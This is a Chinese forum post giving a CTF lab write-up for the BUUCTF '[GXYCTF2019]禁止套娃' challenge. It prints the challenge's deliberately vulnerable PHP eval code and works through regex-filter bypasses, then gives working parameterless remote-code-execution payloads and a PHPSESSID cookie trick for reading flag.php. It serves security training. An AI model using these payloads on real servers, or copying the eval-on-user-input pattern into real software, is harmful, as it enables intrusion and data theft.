找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 128|回复: 0

BUUCTF靶场38 -- [GXYCTF2019]禁止套娃

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-9-7 09:38:08 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
BUUCTF靶场38 -- [GXYCTF2019]禁止套娃

打开连接,发现啥也没有,只有一句话在那,看了源码、抓包数据也没发现啥,用dirsearch目录扫描一下,间隔设置为0.1线程设置为1,防止429,就是跑得比较久




[PHP] 纯文本查看 复制代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>


开始审计源码,我们最终的目标是执行@eval($_GET['exp'])

正则不太记得可以参考

PHP正则表达式,看这一篇就够了


函数不分大小写地过滤掉了

[PHP] 纯文本查看 复制代码
data://
filter://
php://
phar://
et
na
info
dec
bin
hex
oct
pi
log

对于第二个if,参考别人的wp

  • 如果';'===preg_replace(...),那么就执行exp传递的命令
  • \ : 转义字符不多说了
  • [a-z,_]+ : [a-z,_]匹配小写字母和下划线 +表示1到多个
  • (?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))


简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();
(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。


(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+[a−z,]+\((?R)?[a−z,]+\((?R)?\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子


无参数RCE参考

无参数RCE总结_L1am0ur的博客-CSDN博客_无参数rce

因为不能传参,所以只能利用函数回显套娃来代替目标参数,这题有两种方法解决



法一

利用函数找到并代替flag.php

先看一下flag文件的位置,构建payload

[PHP] 纯文本查看 复制代码
?exp=print_r(scandir(pos(localeconv())));

看一下上面的函数

localeconv(),回显数组,第一个数组是字符"."点号

pos(),传入数组,回显数组的第一个值,pos可以用current代替

所以pos(localeconv())等价于.号

而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件

再配合print_r函数输出数组

flag在第四个数组里 ,我们只要想办法包涵这个文件即将flag.php调到第一个数组里或者是数组指针指向flag.php,这里有几个函数

PHP array_reverse() 函数 (w3school.com.cn)数组反转

PHP next() 函数 (w3school.com.cn) 数组指针移动下一位


所以可以先利用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件,构造payload

[PHP] 纯文本查看 复制代码
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

拿到flag

通过分析源码发现preg_match()函数过滤传参中的一些关键字,通过解析可以推导出来,允许传入的参数值格式是:A(B(C(…))),这种很明显是函数模式,那么就好说了,我们首先思考一下我们需要做的是什么?

查看目录里面的所有文件,那么php中恰好就有一个函数scandir()浏览目录内的所有文件;--vardump(scandir("."))

我们直到.是代表当前目录的意思,那么也就是说我们要满足scandir中接收的参数是".",而PHP中localeconv() 函数可返回一包含本地数字及货币格式信息的数组 --vardump(scandir(localecnov())))

然后,我们就只需要让指针指向这个数组内的第一个值就好了



这时候,我们可以成功看到有一个flag.php文件

接下来,我们就需要想办法把该文件的内容读取出来:

next() 函数将内部指针指向数组中的下一个元素,并输出。

array_reverse() 函数返回翻转顺序的数组。


exp=show_source(next(array_reverse(scandir(current(localeconv())))));


这段代码是什么意思呢?就还是利用scandir()函数查看当前目录的文件,然后利用next()函数和array_reverse()函数将文件中的内容读取出来,最后调用show_source()函数将内容展示到页面上


法二

利用session_id代替flag.php

方法就是先用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头

Cookie: PHPSESSID=flag.php

在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload
?exp=show_source(session_id(session_start()));



用burpsuite抓包写入cookie头

添加完http头后点击放行



拿到flag



referer:

    1. [GXYCTF2019]禁止套娃--详解:https://blog.csdn.net/l2872253606/article/details/125246229

    2. Git信息泄露原理解析及利用总结:https://blog.csdn.net/wulanlin/article/details/122409259

     3. 无参数RCE总结:https://blog.csdn.net/Manuffer/article/details/120738755






dirsearch -u http://4489bc7f-150b-4d29-ac8a-b4949b3d3950.node4.buuoj.cn:81 --delay=1 -x 429 -t 1
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 10:40

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表